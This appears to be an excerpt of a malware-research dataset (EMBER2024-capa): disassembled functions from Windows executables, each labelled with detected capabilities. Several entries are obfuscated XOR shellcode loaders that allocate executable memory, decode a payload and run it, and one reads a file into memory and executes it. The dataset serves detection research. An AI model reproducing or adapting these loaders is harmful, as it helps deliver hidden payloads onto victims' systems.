joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009cb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x100257f8
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x1002d7d8]
xor eax, esp
mov dword [esp + 0x5c], eax
push ebp
push esi
push edi
mov eax, dword [0x1002d7d8]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
mov eax, dword [esp + 0x80]
mov edx, dword [esp + 0x9c]
mov ebp, dword [esp + 0x98]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x20]
mov esi, ecx
mov ecx, dword [esp + 0x94]
push eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], 0
call fcn.10001190
lea ecx, [esp + 0x10]
push ecx
push eax
lea edx, [esp + 0x94]
push edx
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0x40]
push ecx
push esi
mov dword [esp + 0x90], 0
call fcn.100078d0
add esp, 0x14
push eax
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x3c]
push eax
call fcn.100224df
fstp qword [esp + 0x38]
mov edi, dword [esp + 0x30]
add esp, 0x10
mov dword [esp + 0x78], 0xffffffff
test edi, edi
je 0x10009dac
push 0
lea ecx, [esp + 0x28]
call fcn.100224df
mov eax, dword [edi + 4]
test eax, eax
jbe 0x10009d8a
cmp eax, 0xffffffff
jae 0x10009d8a
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x24]
and esi, edi
call fcn.1000f167
test esi, esi
je 0x10009dac
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
cmp byte [esp + 0x88], 0
mov edx, dword [esp + 0x84]
jne 0x10009e07
test edx, edx
je 0x10009df6
mov eax, dword [edx + 0x20]
cmp dword [eax], 0
je 0x10009dd8
mov ecx, dword [edx + 0x30]
cmp dword [ecx], 0
jle 0x10009dd8
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x10009de8
mov eax, dword [edx]
mov ecx, edx
mov edx, dword [eax + 0x10]
call edx
mov edx, dword [esp + 0x84]
cmp eax, 0xffffffff
je 0x10009df6
mov byte [esp + 0x89], al
jmp 0x10009dff
xor edx, edx
mov dword [esp + 0x84], edx
mov byte [esp + 0x88], 1
cmp byte [esp + 0x90], 0
mov ecx, dword [esp + 0x8c]
jne 0x10009e4f
test ecx, ecx
je 0x10009e4d
mov eax, dword [ecx + 0x20]
cmp dword [eax], 0
je 0x10009e33
mov esi, dword [ecx + 0x30]
cmp dword [esi], 0
jle 0x10009e33
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x10009e48
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
mov ecx, dword [esp + 0x8c]
mov edx, dword [esp + 0x84]
cmp eax, 0xffffffff
jne 0x10009e4f
xor ecx, ecx
test edx, edx
jne 0x10009e59
test ecx, ecx
je 0x10009e5d
jmp 0x10009e61
test ecx, ecx
je 0x10009e61
or dword [ebp], 1
lea ecx, [esp + 0x30]
cmp dword [esp + 0x14], ecx
je 0x10009e7e
cmp dword [esp + 0x10], 0
jne 0x10009e7e
fld qword [esp + 0x28]
mov eax, dword [esp + 0x18]
fstp qword [eax]
jmp 0x10009e82
or dword [ebp], 2
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x88]
mov dword [eax], edx
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.10011cf3
add esp, 0x6c
ret 0x20
Function at 0x10009ec0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x10025828
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x1002d7d8]
xor eax, esp
mov dword [esp + 0x40], eax
push ebp
push esi
push edi
mov eax, dword [0x1002d7d8]
xor eax, esp
push eax
lea eax, [esp + 0x54]
mov dword fs:[0], eax
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x80]
mov edi, dword [esp + 0x7c]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x2c]
mov esi, ecx
mov ecx, dword [esp + 0x78]
push eax
mov dword [esp + 0x24], edi
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], 0
call fcn.10001190
push eax
push 0x800
lea ecx, [esp + 0x78]
push ecx
lea edx, [esp + 0x74]
push edx
lea eax, [esp + 0x40]
push eax
push esi
mov dword [esp + 0x74], 0
call fcn.10007380
mov ebp, eax
mov eax, dword [esp + 0x44]
add esp, 0x18
mov dword [esp + 0x5c], 0xffffffff
test eax, eax
je 0x10009f9f
push 0
lea ecx, [esp + 0x18]
mov edi, eax
call fcn.100224df
mov eax, dword [edi + 4]
test eax, eax
jbe 0x10009f79
cmp eax, 0xffffffff
jae 0x10009f79
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.1000f167
test esi, esi
je 0x10009f9b
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push ecx
push ebp
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x3c]
push eax
call fcn.100224df
mov edx, dword [esp + 0x78]
add esp, 0x10
cmp byte [esp + 0x6c], 0
mov esi, eax
mov dword [esp + 0x24], 0
jne 0x1000a00a
test edx, edx
je 0x10009fff
mov eax, dword [edx + 0x20]
cmp dword [eax], 0
je 0x10009fe7
mov ecx, dword [edx + 0x30]
cmp dword [ecx], 0
jle 0x10009fe7
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x10009ff4
mov eax, dword [edx]
mov ecx, edx
mov edx, dword [eax + 0x10]
call edx
mov edx, dword [esp + 0x68]
cmp eax, 0xffffffff
je 0x10009fff
mov byte [esp + 0x6d], al
jmp 0x1000a005
xor edx, edx
mov dword [esp + 0x68], edx
mov byte [esp + 0x6c], 1
cmp byte [esp + 0x74], 0
mov ecx, dword [esp + 0x70]
jne 0x1000a047
test ecx, ecx
je 0x1000a045
mov eax, dword [ecx + 0x20]
cmp dword [eax], 0
je 0x1000a031
mov ebp, dword [ecx + 0x30]
cmp dword [ebp], 0
jle 0x1000a031
mov eax, dword [eax]
movzx eax, byte [eax]
jmp 0x1000a040
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
mov ecx, dword [esp + 0x70]
mov edx, dword [esp + 0x68]
cmp eax, 0xffffffff
jne 0x1000a047
xor ecx, ecx
test edx, edx
jne 0x1000a051
test ecx, ecx
je 0x1000a055
jmp 0x1000a058
test ecx, ecx
je 0x1000a058
or dword [edi], 1
lea ecx, [esp + 0x30]
cmp dword [esp + 0x18], ecx
je 0x1000a071
cmp dword [esp + 0x10], 0
jne 0x1000a071
mov eax, dword [esp + 0x1c]
mov dword [eax], esi
jmp 0x1000a074
or dword [edi], 2
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x6c]
mov dword [eax], edx
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.10011cf3
add esp, 0x50
ret 0x20
Function at 0x10011cf3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002d7d8]
jne 0x10011cfd
repz ret
jmp fcn.1001899c

Function at 0x100224df
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x100224ee
pop dword [ebp - 0x14]
mov eax, 0x2ef65558
sub eax, 0x1ef4306a
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3d70f
push 0
mov eax, 0x99f0f7c0
add eax, 0x761168e8
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x49cb
mov edi, eax
mov edx, 0x10034800
add edx, dword [ebp - 0x14]
mov esi, 0x17c880d8
add dword [ebp - 4], eax
mov ebx, dword [edx]
add dword [ebp - 0x10], 0x45ddb971
xor ebx, esi
xor dword [ebp - 0x10], edx
mov dword [edi], ebx
add edi, 4
add edx, 4
loop 0x1002253b
add eax, 0x23bb4010
add eax, 0xdc45d9ef
xor ebx, ebx
add ebx, eax
add eax, 0x93119ce8
sub eax, 0x93119ce3
mov ecx, 0xc3d755c4
sub ecx, 0xb3d755c4
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4132e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41330d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41330d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x40c95d
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41b558]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00409fb3
mov dword [ebp - 0x14], eax
cmp dword [0x81a8d8], esi
jne 0x40ca50
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c9dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40cb30
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40cb30
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cb30
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x81a8d8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x81a8dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x81a8e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x81a8e8], eax
test eax, eax
je 0x40ca4d
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x81a8e4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40ca75
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40ca68
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40ca8a
push 4
pop eax
jmp 0x40cb32
cmp dword [ebp - 0x14], esi
je 0x40ca8a
push dword [0x81a8d8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40ca6f
mov eax, dword [0x81a8e4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40cae8
cmp dword [0x81a8e8], edi
je 0x40cae8
push eax
call ebx
push dword [0x81a8e8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40cae8
test eax, eax
je 0x40cae8
call ecx
test eax, eax
je 0x40cadd
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40cadd
test byte [ebp - 8], 1
jne 0x40cae8
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40cb18
mov eax, dword [0x81a8dc]
cmp eax, edi
je 0x40cb15
push eax
call ebx
test eax, eax
je 0x40cb15
call eax
mov esi, eax
test esi, esi
je 0x40cb15
mov eax, dword [0x81a8e0]
cmp eax, edi
je 0x40cb15
push eax
call ebx
test eax, eax
je 0x40cb15
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x81a8d8]
call ebx
test eax, eax
je 0x40cb30
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40cb32
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404440
mov esp, ebp
pop ebp
ret
Function at 0x4024a0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x40f094]
test eax, eax
jne 0x403dd1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ud0
lea eax, [ebp - 0x14]
mov dword [esp + 0x28], eax
lea eax, [ebp - 0xe]
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x220
mov dword [esp + 8], 0x20
mov dword [esp + 4], 2
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
sub esp, 0x2c
test eax, eax
jne 0x403405
mov ecx, dword [0x40f094]
test ecx, ecx
jne 0x403403
nop
nop
nop
nop
nop
nop
nop
nop
nop
add dword [eax], eax
or byte [ebx], cl
into
push cs
or byte [edx], al
add ecx, dword [edx + edi*8]
invalid
leave
ret
mov edx, dword [0x40f094]
test edx, edx
jne 0x4038cd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add al, 0
add ah, cl
or al, 0xc
int3
lea eax, [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], 0
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
sub esp, 0xc
test eax, eax
jne 0x4038f6
mov dword [ebp - 0x18], 0
mov eax, dword [0x40f094]
test eax, eax
jne 0x403dbd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add al, 3
pop eax
add eax, 0x20f8b00
mov eax, dword [ecx]
add eax, 0x490b0388
add byte [edi], cl
pcmpeqw mm0, qword [eax]
or al, 0x8d
add al, 0xd
invalid
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x18]
sub esp, 4
leave
ret
mov dword [ebp - 0x18], 0
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 5
jmp 0x402f43
Function at 0x40bc20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov edx, dword [0x40f094]
test edx, edx
je 0x40bc48
and ax, 0x3ff
cmp ax, 4
jne 0x40cdc1
xor eax, eax
leave
ret
nop
nop
nop
nop
nop
nop
nop
nop
or eax, dword [edi]
add eax, dword [esi]
or al, byte [eax]
push es
or al, byte [eax]
add eax, 0x55206
lea eax, [eax + eax]
add byte [ebx + 0x8080e04], cl
add esp, eax
femms
mov dword [eax], eax
push cs
mov dword [esp + ecx], eax
add al, 0x44
add byte [edi], cl
mov ecx, dword [ecx]
sldt word [eax]
add byte [eax], al
or byte [ebx], cl
inc esi
add dword [ebx], eax
sgdt [eax]
dec esp
invd
or al, 0xf
add ecx, dword [edi]
add dword [eax], eax
add al, 0xf
or byte [ebx], al
ror byte [edi], 0xc
or dword [edi], 8
pop ds
add byte [edi], cl
xchg dword [ebx], ecx
sldt word [eax]
add al, ch
or ecx, dword [edx]
test dword [eax], eax
pop es
add byte [eax], cl
add eax, esp
add dword [eax*4 + 0xf000c], eax
or eax, 0
add byte [eax], al
pop ecx
add eax, 0xb055e0f
mov ecx, dword [esi]
or cl, al
push cs
add dword [0x740908], eax
or byte [eax + ecx], bl
or eax, dword [ebx + 5]
or al, 8
add ebp, eax
add byte [eax], cl
je 0x40bcd8
pop es
dec eax
or byte [ebx], al
call 0xb4bde0
mov ecx, dword [esi + ecx]
call 0xfeac5eb
ud0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40df30
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.0040df90
Function at 0x40df90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
sub esp, 0x3c
mov eax, dword [0x415420]
test eax, eax
jle 0x40e093
mov edx, dword [0x415424]
xor ebx, ebx
mov ecx, dword [edx + 4]
cmp ecx, esi
ja 0x40dfc1
mov edi, dword [edx + 8]
add ecx, dword [edi + 8]
cmp esi, ecx
jb 0x40e036
add ebx, 1
add edx, 0xc
cmp ebx, eax
jne 0x40dfb0
mov dword [esp], esi
call fcn.0040e870
test eax, eax
mov edi, eax
je 0x40e0ba
lea esi, [ebx + ebx*2]
mov ebx, dword [0x415424]
shl esi, 2
add ebx, esi
mov dword [ebx + 8], eax
mov dword [ebx], 0
call fcn.0040e960
add eax, dword [edi + 0xc]
mov dword [ebx + 4], eax
lea eax, [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [0x415424]
mov dword [esp + 8], 0x1c
mov eax, dword [eax + esi + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40e09a
mov eax, dword [ebp - 0x20]
cmp eax, 0x40
jne 0x40e040
add dword [0x415420], 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 4
je 0x40e02f
cmp eax, 0x80
je 0x40e02f
cmp eax, 8
je 0x40e02f
mov eax, dword [ebp - 0x28]
add esi, dword [0x415424]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0xc], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40e02f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040df30
xor ebx, ebx
jmp 0x40dfcb
mov eax, dword [0x415424]
mov eax, dword [eax + esi + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040df30
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040df30
lea esi, [esi]

Function at 0x40e790
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x40e7c8
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x40e7be
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x40e7ca
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x40e7b0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x1004e1f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1004e208
pop dword [ebp - 0x3c]
mov eax, 0x1004e208
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xef15a63
sub dword [ebp - 0x4c], 0xc09f1518
mov dword [ebp - 0x48], 0xb84028f
add dword [ebp - 0x48], 0x26af49b6
mov dword [ebp - 0x44], 0xacb54ec5
sub dword [ebp - 0x44], 0x60690a97
mov dword [ebp - 0x40], 0x609ff2e7
add dword [ebp - 0x40], 0x9f600d19
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x8e8ec2e2
add eax, 0x8176ce2a
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x97781edc
sub dword [ebp - 0x4c], 0x2305b586
mov dword [ebp - 0x48], 0xf4ca9956
sub dword [ebp - 0x48], 0xb35e37e1
mov dword [ebp - 0x44], 0xd1deb1cb
sub dword [ebp - 0x44], 0x6e6f455f
mov dword [ebp - 0x40], 0xedcc638d
sub dword [ebp - 0x40], 0xedcc638d
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xa7191f01
add eax, 0x68ec713f
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x60161
push 0
call eax
mov ecx, 0xa7f325c0
sub ecx, 0xa7f2d373
xor ebx, ebx
add ebx, eax
mov esi, 0xf5dd4307
add esi, 0x1a2950f9
add esi, dword [ebp - 0x3c]
mov edi, 0x493d4695
mov dword [ebp - 0x20], 0x530e18eb
mov edx, dword [esi]
xor dword [ebp - 0x20], ebx
xor edx, edi
sub dword [ebp - 0x10], 0xf7fe5727
mov dword [ebx], edx
sub dword [ebp - 8], 0xc26c629a
add ebx, 4
add esi, 4
loop 0x1004e321
add eax, 0x13c07
mov ebx, eax
add eax, 0x50bf82f5
sub eax, 0x50bf82f0
mov ecx, 0xcbd9d7e9
add ecx, 0x44262817
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10009dc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10009dcf
pop dword [ebp - 0x1c]
mov eax, 0x10009dcf
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x9ba98521
add dword [ebp - 0x2c], 0xb2a8c02a
mov dword [ebp - 0x28], 0x533056e4
sub dword [ebp - 0x28], 0x20fd0a9f
mov dword [ebp - 0x24], 0xa13d7439
sub dword [ebp - 0x24], 0x54f1300b
mov dword [ebp - 0x20], 0x1c3883bf
sub dword [ebp - 0x20], 0x1c3883bf
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xf76b93e2
add dword [ebp - 0x2c], 0x7d06d574
mov dword [ebp - 0x28], 0xe3fd0afd
sub dword [ebp - 0x28], 0xa290a988
mov dword [ebp - 0x24], 0x435606e3
sub dword [ebp - 0x24], 0xdfe69a77
mov dword [ebp - 0x20], 0xe0e00df8
sub dword [ebp - 0x20], 0xe0e00df8
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xba9c4222
add eax, 0x5564de22
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c25c
push 0
call eax
mov ecx, 0xad0637b0
add ecx, 0x52fa18ff
xor esi, esi
add esi, eax
mov edx, 0x21b57b3b
add edx, 0xee4c34c5
add edx, dword [ebp - 0x1c]
mov edi, 0xb2d37d21
add edi, 0x2f847d81
mov ebx, dword [edx]
sub ebx, edi
add dword [ebp - 0xc], 0xe4dade39
mov dword [esi], ebx
xor dword [ebp - 0x18], 0x43617013
add esi, 4
add edx, 4
loop 0x10009ee9
add eax, 0x1358f
xor ebx, ebx
add ebx, eax
add eax, 0xfffc6acd
sub eax, 0xfffc6ac8
mov ecx, 0x97542d08
add ecx, 0x78abd2f8
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10008fff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1000900e
pop dword [ebp - 0x28]
mov eax, 0x7bb60b09
add eax, 0x944a8505
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x8a2aeab0
sub dword [ebp - 0x38], 0x3bd8a565
mov dword [ebp - 0x34], 0xb965d4bd
sub dword [ebp - 0x34], 0x87328878
mov dword [ebp - 0x30], 0xf480823c
sub dword [ebp - 0x30], 0xa8343e0e
mov dword [ebp - 0x2c], 0x365cbdd4
sub dword [ebp - 0x2c], 0x365cbdd4
lea eax, [ebp - 0x38]
push eax
mov eax, 0xa0e1637d
sub eax, 0x90e0c379
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xbcf6065d
sub dword [ebp - 0x38], 0x48839d07
mov dword [ebp - 0x34], 0x95c084e3
sub dword [ebp - 0x34], 0x5454236e
mov dword [ebp - 0x30], 0xd5c58154
sub dword [ebp - 0x30], 0x725614e8
mov dword [ebp - 0x2c], 0xa8889bfa
add dword [ebp - 0x2c], 0x57776406
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3afee
push 0
call eax
mov ecx, 0x59d7
xor edi, edi
add edi, eax
mov ebx, 0xf416fc4a
sub ebx, 0xe416044a
add ebx, dword [ebp - 0x28]
mov esi, 0xa71c890e
xor dword [ebp - 0x10], 0xca3281cc
mov edx, dword [ebx]
add dword [ebp - 4], 0x62ce93b4
sub edx, esi
mov dword [edi], edx
xor dword [ebp - 0x10], 0xd42670b
add edi, 0xbc81c13f
add edi, 0x437e3ec5
add ebx, 0xc76b3b97
sub ebx, 0xc76b3b93
loop 0x10009121
add eax, 0x9c0dfcbc
sub eax, 0x9c0ca28d
mov ebx, eax
add eax, 5
mov ecx, 0x2bd3e5f4
sub ecx, 0x1bd3e5f4
add ecx, dword [ebp - 0x28]
call ebx
leave
ret